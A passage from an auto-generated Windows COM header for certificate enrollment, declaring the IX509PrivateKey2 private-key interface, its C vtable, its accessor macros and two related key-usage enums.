(This)->lpVtbl -> get_Certificate(This,Encoding,pValue) ) \n\n#define IX509PrivateKey_put_Certificate(This,Encoding,Value)\t\\\n    ( (This)->lpVtbl -> put_Certificate(This,Encoding,Value) ) \n\n#define IX509PrivateKey_get_UniqueContainerName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_UniqueContainerName(This,pValue) ) \n\n#define IX509PrivateKey_get_Opened(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Opened(This,pValue) ) \n\n#define IX509PrivateKey_get_DefaultContainer(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_DefaultContainer(This,pValue) ) \n\n#define IX509PrivateKey_get_Existing(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Existing(This,pValue) ) \n\n#define IX509PrivateKey_put_Existing(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Existing(This,Value) ) \n\n#define IX509PrivateKey_get_Silent(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Silent(This,pValue) ) \n\n#define IX509PrivateKey_put_Silent(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Silent(This,Value) ) \n\n#define IX509PrivateKey_get_ParentWindow(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ParentWindow(This,pValue) ) \n\n#define IX509PrivateKey_put_ParentWindow(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ParentWindow(This,Value) ) \n\n#define IX509PrivateKey_get_UIContextMessage(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_UIContextMessage(This,pValue) ) \n\n#define IX509PrivateKey_put_UIContextMessage(This,Value)\t\\\n    ( (This)->lpVtbl -> put_UIContextMessage(This,Value) ) \n\n#define IX509PrivateKey_put_Pin(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Pin(This,Value) ) \n\n#define IX509PrivateKey_get_FriendlyName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_FriendlyName(This,pValue) ) \n\n#define IX509PrivateKey_put_FriendlyName(This,Value)\t\\\n    ( (This)->lpVtbl -> put_FriendlyName(This,Value) ) \n\n#define IX509PrivateKey_get_Description(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Description(This,pValue) ) \n\n#define IX509PrivateKey_put_Description(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Description(This,Value) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509PrivateKey_INTERFACE_DEFINED__ */\n\n\n/* interface __MIDL_itf_certenroll_0000_0014 */\n/* [local] */ \n\ntypedef \nenum X509HardwareKeyUsageFlags\n    {\n        XCN_NCRYPT_PCP_NONE\t= 0,\n        XCN_NCRYPT_TPM12_PROVIDER\t= 0x10000,\n        XCN_NCRYPT_PCP_SIGNATURE_KEY\t= 0x1,\n        XCN_NCRYPT_PCP_ENCRYPTION_KEY\t= 0x2,\n        XCN_NCRYPT_PCP_GENERIC_KEY\t= ( 0x1 | 0x2 ) ,\n        XCN_NCRYPT_PCP_STORAGE_KEY\t= 0x4,\n        XCN_NCRYPT_PCP_IDENTITY_KEY\t= 0x8\n    } \tX509HardwareKeyUsageFlags;\n\ntypedef \nenum X509KeyParametersExportType\n    {\n        XCN_CRYPT_OID_USE_CURVE_NONE\t= 0,\n        XCN_CRYPT_OID_USE_CURVE_NAME_FOR_ENCODE_FLAG\t= 0x20000000,\n        XCN_CRYPT_OID_USE_CURVE_PARAMETERS_FOR_ENCODE_FLAG\t= 0x10000000\n    } \tX509KeyParametersExportType;\n\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0014_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0014_v0_0_s_ifspec;\n\n#ifndef __IX509PrivateKey2_INTERFACE_DEFINED__\n#define __IX509PrivateKey2_INTERFACE_DEFINED__\n\n/* interface IX509PrivateKey2 */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509PrivateKey2;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab362-217d-11da-b2a4-000e7bbb2b09\")\n    IX509PrivateKey2 : public IX509PrivateKey\n    {\n    public:\n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_HardwareKeyUsage( \n            /* [retval][out] */ __RPC__out X509HardwareKeyUsageFlags *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_HardwareKeyUsage( \n            /* [in] */ X509HardwareKeyUsageFlags Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_AlternateStorageLocation( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_AlternateStorageLocation( \n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_AlgorithmName( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [custom][propput] */ HRESULT STDMETHODCALLTYPE put_AlgorithmName( \n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_AlgorithmParameters( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_AlgorithmParameters( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_ParametersExportType( \n            /* [retval][out] */ __RPC__out X509KeyParametersExportType *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_ParametersExportType( \n            /* [in] */ X509KeyParametersExportType Value) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IX509PrivateKey2Vtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509PrivateKey2 * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509PrivateKey2 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509PrivateKey2 * This,\n            /* [annotation][in] */ \n            _In_  DISPID dispIdMember,\n            /* [annotation][in] */ \n            _In_  REFIID riid,\n            /* [annotation][in] */ \n            _In_  LCID lcid,\n            /* [annotation][in] */ \n            _In_  WORD wFlags,\n            /* [annotation][out][in] */ \n            _In_  DISPPARAMS *pDispParams,\n            /* [annotation][out] */ \n            _Out_opt_  VARIANT *pVarResult,\n            /* [annotation][out] */ \n            _Out_opt_  EXCEPINFO *pExcepInfo,\n            /* [annotation][out] */ \n            _Out_opt_  UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *Open )( \n            __RPC__in IX509PrivateKey2 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *Create )( \n            __RPC__in IX509PrivateKey2 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *Close )( \n            __RPC__in IX509PrivateKey2 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *Delete )( \n            __RPC__in IX509PrivateKey2 * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *Verify )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [in] */ X509PrivateKeyVerify VerifyType);\n        \n        HRESULT ( STDMETHODCALLTYPE *Import )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [in] */ __RPC__in BSTR strExportType,\n            /* [in] */ __RPC__in BSTR strEncodedKey,\n            /* [defaultvalue][in] */ EncodingType Encoding);\n        \n        HRESULT ( STDMETHODCALLTYPE *Export )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [in] */ __RPC__in BSTR strExportType,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrEncodedKey);\n        \n        HRESULT ( STDMETHODCALLTYPE *ExportPublicKey )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IX509PublicKey **ppPublicKey);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ContainerName )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_ContainerName )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ContainerNamePrefix )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_ContainerNamePrefix )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ReaderName )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_ReaderName )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_CspInformations )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICspInformations **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_CspInformations )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [in] */ __RPC__in_opt ICspInformations *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_CspStatus )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt ICspStatus **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_CspStatus )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [in] */ __RPC__in_opt ICspStatus *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ProviderName )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_ProviderName )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ProviderType )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [retval][out] */ __RPC__out X509ProviderType *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_ProviderType )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [in] */ X509ProviderType Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_LegacyCsp )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_LegacyCsp )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Algorithm )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Algorithm )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [in] */ __RPC__in_opt IObjectId *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_KeySpec )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [retval][out] */ __RPC__out X509KeySpec *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_KeySpec )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [in] */ X509KeySpec Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Length )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Length )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [in] */ LONG Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ExportPolicy )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [retval][out] */ __RPC__out X509PrivateKeyExportFlags *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_ExportPolicy )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [in] */ X509PrivateKeyExportFlags Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_KeyUsage )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [retval][out] */ __RPC__out X509PrivateKeyUsageFlags *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_KeyUsage )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [in] */ X509PrivateKeyUsageFlags Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_KeyProtection )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [retval][out] */ __RPC__out X509PrivateKeyProtection *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_KeyProtection )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [in] */ X509PrivateKeyProtection Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_MachineContext )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_MachineContext )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_SecurityDescriptor )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_SecurityDescriptor )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Certificate )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Certificate )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_UniqueContainerName )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Opened )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_DefaultContainer )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_Existing )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_Existing )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Silent )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Silent )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ParentWindow )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [retval][out] */ __RPC__out LONG *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_ParentWindow )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [in] */ LONG Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_UIContextMessage )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_UIContextMessage )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Pin )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_FriendlyName )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_FriendlyName )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Description )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Description )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_HardwareKeyUsage )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [retval][out] */ __RPC__out X509HardwareKeyUsageFlags *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_HardwareKeyUsage )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [in] */ X509HardwareKeyUsageFlags Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_AlternateStorageLocation )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_AlternateStorageLocation )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [custom][propget] */ HRESULT ( STDMETHODCALLTYPE *get_AlgorithmName )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [custom][propput] */ HRESULT ( STDMETHODCALLTYPE *put_AlgorithmName )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_AlgorithmParameters )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_AlgorithmParameters )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ParametersExportType )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [retval][out] */ __RPC__out X509KeyParametersExportType *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_ParametersExportType )( \n            __RPC__in IX509PrivateKey2 * This,\n            /* [in] */ X509KeyParametersExportType Value);\n        \n        END_INTERFACE\n    } IX509PrivateKey2Vtbl;\n\n    interface IX509PrivateKey2\n    {\n        CONST_VTBL struct IX509PrivateKey2Vtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509PrivateKey2_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509PrivateKey2_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509PrivateKey2_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509PrivateKey2_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509PrivateKey2_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509PrivateKey2_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509PrivateKey2_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509PrivateKey2_Open(This)\t\\\n    ( (This)->lpVtbl -> Open(This) ) \n\n#define IX509PrivateKey2_Create(This)\t\\\n    ( (This)->lpVtbl -> Create(This) ) \n\n#define IX509PrivateKey2_Close(This)\t\\\n    ( (This)->lpVtbl -> Close(This) ) \n\n#define IX509PrivateKey2_Delete(This)\t\\\n    ( (This)->lpVtbl -> Delete(This) ) \n\n#define IX509PrivateKey2_Verify(This,VerifyType)\t\\\n    ( (This)->lpVtbl -> Verify(This,VerifyType) ) \n\n#define IX509PrivateKey2_Import(This,strExportType,strEncodedKey,Encoding)\t\\\n    ( (This)->lpVtbl -> Import(This,strExportType,strEncodedKey,Encoding) ) \n\n#define IX509PrivateKey2_Export(This,strExportType,Encoding,pstrEncodedKey)\t\\\n    ( (This)->lpVtbl -> Export(This,strExportType,Encoding,pstrEncodedKey) ) \n\n#define IX509PrivateKey2_ExportPublicKey(This,ppPublicKey)\t\\\n    ( (This)->lpVtbl -> ExportPublicKey(This,ppPublicKey) ) \n\n#define IX509PrivateKey2_get_ContainerName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ContainerName(This,pValue) ) \n\n#define IX509PrivateKey2_put_ContainerName(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ContainerName(This,Value) ) \n\n#define IX509PrivateKey2_get_ContainerNamePrefix(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ContainerNamePrefix(This,pValue) ) \n\n#define IX509PrivateKey2_put_ContainerNamePrefix(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ContainerNamePrefix(This,Value) ) \n\n#define IX509PrivateKey2_get_ReaderName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ReaderName(This,pValue) ) \n\n#define IX509PrivateKey2_put_ReaderName(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ReaderName(This,Value) ) \n\n#define IX509PrivateKey2_get_CspInformations(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CspInformations(This,ppValue) ) \n\n#define IX509PrivateKey2_put_CspInformations(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_CspInformations(This,pValue) ) \n\n#define IX509PrivateKey2_get_CspStatus(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_CspStatus(This,ppValue) ) \n\n#define IX509PrivateKey2_put_CspStatus(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_CspStatus(This,pValue) ) \n\n#define IX509PrivateKey2_get_ProviderName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ProviderName(This,pValue) ) \n\n#define IX509PrivateKey2_put_ProviderName(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ProviderName(This,Value) ) \n\n#define IX509PrivateKey2_get_ProviderType(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ProviderType(This,pValue) ) \n\n#define IX509PrivateKey2_put_ProviderType(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ProviderType(This,Value) ) \n\n#define IX509PrivateKey2_get_LegacyCsp(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_LegacyCsp(This,pValue) ) \n\n#define IX509PrivateKey2_put_LegacyCsp(This,Value)\t\\\n    ( (This)->lpVtbl -> put_LegacyCsp(This,Value) ) \n\n#define IX509PrivateKey2_get_Algorithm(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_Algorithm(This,ppValue) ) \n\n#define IX509PrivateKey2_put_Algorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_Algorithm(This,pValue) ) \n\n#define IX509PrivateKey2_get_KeySpec(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_KeySpec(This,pValue) ) \n\n#define IX509PrivateKey2_put_KeySpec(This,Value)\t\\\n    ( (This)->lpVtbl -> put_KeySpec(This,Value) ) \n\n#define IX509PrivateKey2_get_Length(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Length(This,pValue) ) \n\n#define IX509PrivateKey2_put_Length(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Length(This,Value) ) \n\n#define IX509PrivateKey2_get_ExportPolicy(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ExportPolicy(This,pValue) ) \n\n#define IX509PrivateKey2_put_ExportPolicy(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ExportPolicy(This,Value) ) \n\n#define IX509PrivateKey2_get_KeyUsage(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_KeyUsage(This,pValue) ) \n\n#define IX509PrivateKey2_put_KeyUsage(This,Value)\t\\\n    ( (This)->lpVtbl -> put_KeyUsage(This,Value) ) \n\n#define IX509PrivateKey2_get_KeyProtection(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_KeyProtection(This,pValue) ) \n\n#define IX509PrivateKey2_put_KeyProtection(This,Value)\t\\\n    ( (This)->lpVtbl -> put_KeyProtection(This,Value) ) \n\n#define IX509PrivateKey2_get_MachineContext(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_MachineContext(This,pValue) ) \n\n#define IX509PrivateKey2_put_MachineContext(This,Value)\t\\\n    ( (This)->lpVtbl -> put_MachineContext(This,Value) ) \n\n#define IX509PrivateKey2_get_SecurityDescriptor(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_SecurityDescriptor(This,pValue) ) \n\n#define IX509PrivateKey2_put_SecurityDescriptor(This,Value)\t\\\n    ( (This)->lpVtbl -> put_SecurityDescriptor(This,Value) ) \n\n#define IX509PrivateKey2_get_Certificate(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_Certificate(This,Encoding,pValue) ) \n\n#define IX509PrivateKey2_put_Certificate(This,Encoding,Value)\t\\\n    ( (This)->lpVtbl -> put_Certificate(This,Encoding,Value) ) \n\n#define IX509PrivateKey2_get_UniqueContainerName(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_UniqueContainerName(This,pValue) ) \n\n#define IX509PrivateKey2_get_Opened(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Opened(This,pValue) ) \n\n#define IX509PrivateKey2_get_DefaultContainer(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_DefaultContainer(This,pValue) ) \n\n#define IX509PrivateKey2_get_Existing(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Existing(This,pValue) ) \n\n#define IX509PrivateKey2_put_Existing(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Existing(This,Value) ) \n\n#define IX509PrivateKey2_get_Silent(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_Silent(This,pValue) ) \n\n#define IX509PrivateKey2_put_Silent(This,Value)\t\\\n    ( (This)->lpVtbl -> put_Silent(This,Value) ) \n\n#define IX509PrivateKey2_get_ParentWindow(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_ParentWindow(This,pValue) ) \n\n#define IX509PrivateKey2_put_ParentWindow(This,Value)\t\\\n    ( (This)->lpVtbl -> put_ParentWindow(This,Value) ) \n\n#define IX509PrivateKey2_get_UIContextMessage(This,pValue)\t\\\n    ( (This)->lpVtbl -> 